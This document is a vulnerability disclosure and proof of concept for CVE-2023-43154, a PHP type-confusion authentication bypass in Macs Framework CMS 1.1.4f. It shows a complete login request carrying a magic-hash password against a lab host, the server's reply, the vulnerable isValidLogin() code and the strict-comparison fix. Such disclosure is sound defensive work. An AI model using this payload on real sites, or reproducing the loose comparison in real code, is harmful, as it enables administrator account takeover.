Headline
CVE-2023-43154: GitHub - ally-petitt/CVE-2023-43154-PoC: PoC for the type confusion vulnerability in Mac's CMS that results in authentication bypass and administrator account takeover.
In Macrob7 Macs Framework Content Management System (CMS) 1.1.4f, loose comparison in "isValidLogin()" function during login attempt results in PHP type confusion vulnerability that leads to authentication bypass and takeover of the administrator account.
CVE-2023-43154 - Macs Framework v1.1.4f CMS Type Confusion Vulnerability****Table of Contents
- Overview
- Proof of Concept
- Technical Debrief
- Mitigation
Overview
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Vulnerability Description: A loose comparison in the isValidLogin() function results in a PHP type confusion vulnerability that can be abused to bypass authentication and takeover the administrator account.
Vulnerable Parameters: The username and password of the users on the CMS.
Affected Products: Macs Framework v1.14f - Content Management System
Limitations:
- The username of the victim account must be previously known or a zero-like string
- The password used with the account must result in a "magic hash".
User Interaction Required: None
References: https://github.com/ally-petitt/CVE-2023-43154-PoC
Discovery Date: September 7, 2023
Reported By: Ally Petitt
Proof of Concept
Logging in at the URI /index.php/main/cms/login with the username of the victim account and any password that results in a magic hash will lead to authentication bypass.
A sample login is shown below.
Send Payload
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP Response
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
The status code of 200 and the redirect to /index.php/home are both indications that the login attempt was successful. The password of testadmin was not the password used in the login attempt (0gdVIdSQL8Cm). Instead, it was set to QNKCDZO.
Technical Debrief
When a user attempts to log in, their supplied password is hashed and and sent as a parameter to the isValidLogin() function via the initial login() function that is called when a POST request is made to /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
The isValidLogin() function begins on line 83 of file /Application/plugins/CMS/controllers/CMS.php. It is vulnerable to a type confusion vulnerability due to its use of 2 equal signs instead of 3.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
As shown in the if statement, the username and password are being checked with a loose comparison, leading to a PHP type confusion vulnerability. This can be abused when logging in with a password that results in a magic hash, or hash that is interpretted by PHP to have the value 0 during a loose comparison. A list of such passwords can be found here.
To exploit this, it is important to first understand the format that $account[‘password’] is stored in. In the function used to save a new user account on line 730 of the aforementioned CMS.php file, it becomes clear that the password is first passed through an encrypt function before it is stored.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Continuing to the function that is called after the password is run through encrypt, the following code is used:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
Based on the code above, it is apparent that the “encrypted” password was placed directly into the users Model of the MVC framework. Finally, to exploit this vulnerability, it is necessary to understand how the encrypt function works as its output is being directly compared against the user input.
private function encrypt( $string )
{
return md5($string);
}
The encrypt function returns the MD5 hash of the string passed to it. This means that when the login() function is called with the user-supplied credentials, the inputted password is hashed and compared against the stored MD5 hash of the victim account.
The implication is that when using a password that results in a PHP collision, or magic hash, it will register as being equivilent when compared against a stored password that also follows the format of a magic hash. As a result, a very large number of passwords can be used to authenticate to and takeover the administrator account, even when the initial password is not previously known.
Mitigation
This vulnerability can be mitigated by changing the loose comparison in the isValidLogin() function to a strict comparison by replacing == with ===.